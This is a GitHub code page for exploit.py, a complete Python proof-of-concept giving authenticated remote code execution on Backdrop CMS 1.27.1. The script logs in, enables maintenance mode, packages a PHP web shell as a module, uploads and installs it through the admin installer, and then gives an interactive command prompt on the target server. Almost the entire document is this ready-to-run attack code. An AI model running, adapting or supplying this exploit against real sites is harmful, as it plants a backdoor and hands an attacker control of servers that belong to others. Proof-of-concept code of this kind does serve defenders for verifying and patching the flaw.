-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathexploit.py
More file actions
140 lines (116 loc) · 5.5 KB
/
Copy pathexploit.py
File metadata and controls
140 lines (116 loc) · 5.5 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
#!/usr/bin/env python3
# Title : Backdrop CMS 1.27.1 – Authenticated RCE
# Author : Ravindu Wickramasinghe (aka rvz)
# Usage : python3 backdrop_rce.py <url> <username> <password>
import os, re, sys, tarfile, tempfile, time, json, requests
from html.parser import HTMLParser
from urllib.parse import urljoin, urlparse, parse_qs
from requests_toolbelt.multipart.encoder import MultipartEncoder
def p(msg): print(msg, flush=True)
def die(msg): sys.exit(f"\033[31m[!]\033[0m {msg}")
class Grab(HTMLParser):
def __init__(s): super().__init__(); s.h=[]
def handle_starttag(s,t,a):
if t=="input" and dict(a).get("type")=="hidden":
d=dict(a); s.h.append((d["name"],d["value"]))
def hidden(html:str): g=Grab(); g.feed(html); return dict(g.h)
if len(sys.argv)!=4:
die("usage: python3 backdrop_rce.py <url> <user> <pass>")
BASE, USER, PW = sys.argv[1].rstrip("/"), sys.argv[2], sys.argv[3]
user=os.getlogin() # for terminal user@target
target_hostname=sys.argv[1].split("/")[2]
s=requests.Session()
s.headers["User-Agent"]="Mozilla/5.0 rvz"
requests.packages.urllib3.disable_warnings()
p("\033[32m[>]\033[0m logging in as user: '{}'".format(USER))
log_pg=s.get(f"{BASE}/?q=user/login",verify=False).text
fb=re.search(r'name="form_build_id" value="([^"]+)"',log_pg).group(1)
data={"name":USER,"pass":PW,
"form_build_id":fb,"form_id":"user_login","op":"Log in"}
s.post(f"{BASE}/?q=user/login",data=data,verify=False)
if "Log out" not in s.get(f"{BASE}/?q=user",verify=False).text:
die("login failed")
p("\033[32m[>]\033[0m login successful")
p("\033[32m[>]\033[0m enabling maintenance mode")
mnt=s.get(f"{BASE}/?q=admin/config/development/maintenance",verify=False).text
tok=hidden(mnt)
s.post(f"{BASE}/?q=admin/config/development/maintenance",verify=False,data={
"maintenance_mode":"1",
"form_build_id":tok["form_build_id"],
"form_token":tok["form_token"],
"form_id":"system_site_maintenance_mode",
"op":"Save configuration"})
p("\033[32m[>]\033[0m maintenance enabled")
mod="rvz"+os.urandom(3).hex()
tmp=tempfile.mkdtemp(prefix="bd_")
moddir=os.path.join(tmp,mod); os.makedirs(moddir,exist_ok=True)
open(f"{moddir}/{mod}.info","w").write(f"name = {mod}\ntype = module\nbackdrop = 1.x\n")
open(f"{moddir}/shell.php","w").write("<?php if(isset($_GET['cmd'])){echo'<pre>';system($_GET['cmd']);echo'</pre>'; }?>")
tgz=os.path.join(tmp,f"{mod}.tgz")
with tarfile.open(tgz,"w:gz") as tar: tar.add(moddir,arcname=mod)
p(f"\033[32m[>]\033[0m payload archive: {tgz}")
p("\033[32m[>]\033[0m fetching installer form")
inst=s.get(f"{BASE}/?q=admin/installer/manual",verify=False).text
ih=hidden(inst)
theme = ih.get("ajax_page_state[theme]","seven")
theme_tk = ih.get("ajax_page_state[theme_token]","")
p("\033[32m[>]\033[0m uploading payload (bulk empty)")
m=MultipartEncoder(
fields=[ ("bulk",""),
("project_url",""),
("files[project_upload]",("rvz.tgz",open(tgz,"rb"),
"application/x-compressed-tar")),
("form_build_id",ih["form_build_id"]),
("form_token",ih["form_token"]),
("form_id","installer_manager_install_form"),
("_triggering_element_name","op"),
("_triggering_element_value","Install"),
("ajax_html_ids[]","skip-link"),
("ajax_html_ids[]","main-content"),
("ajax_html_ids[]","installer-manager-install-form"),
("ajax_html_ids[]","edit-bulk-wrapper"),
("ajax_html_ids[]","edit-bulk"),
("ajax_html_ids[]","edit-project-url-wrapper"),
("ajax_html_ids[]","edit-project-url"),
("ajax_html_ids[]","edit-project-upload-wrapper"),
("ajax_html_ids[]","edit-project-upload"),
("ajax_html_ids[]","edit-actions"),
("ajax_html_ids[]","edit-submit"),
("ajax_page_state[theme]",theme),
("ajax_page_state[theme_token]",theme_tk) ])
hdrs={"Content-Type":m.content_type,
"X-Requested-With":"XMLHttpRequest",
"Accept":"application/vnd.backdrop-ajax, */*;q=0.01",
"Referer":f"{BASE}/?q=admin/installer/manual"}
up=s.post(f"{BASE}/?q=system/ajax",data=m,headers=hdrs,verify=False)
p("\033[32m[>]\033[0m initial upload post complete")
try:
jid=json.loads(up.text)
redir=[c["url"] for c in jid if c.get("command")=="redirect"][0]
except:
die("no redirect json – upload blocked")
batch_id=parse_qs(urlparse(redir).query)["id"][0]
p(f"\033[32m[>]\033[0m batch id = {batch_id}; sending authorize ‘do_nojs’ and ‘do’")
for op in ("do_nojs","do"):
s.post(f"{BASE}/core/authorize.php",
params={"batch":"1","id":batch_id,"op":op},
headers={"X-Requested-With":"XMLHttpRequest",
"Accept":"application/json, text/javascript, */*; q=0.01"},
verify=False)
shell=urljoin(BASE+"/",f"modules/{mod}/shell.php")
p(f"\033[32m[>]\033[0m waiting for shell at: {shell}")
for _ in range(12):
if s.get(shell,verify=False).status_code==200:
p("\033[32m[>]\033[0m shell is live")
break
time.sleep(1)
else:
die("shell not found – install probably failed")
p("\033[32m[>]\033[0m interactive shell – type 'exit' to quit")
while True:
try: cmd=input(f"{user}@{target_hostname} > ").strip()
except EOFError: break
if cmd.lower()=="exit": break
r=s.get(shell,params={"cmd":cmd},verify=False).text
m=re.search(r"<pre>(.*?)</pre>",r,re.S)
print(m.group(1).strip() if m else "033[31m[!]\033[0m no output --- php shell is probably not accessible.")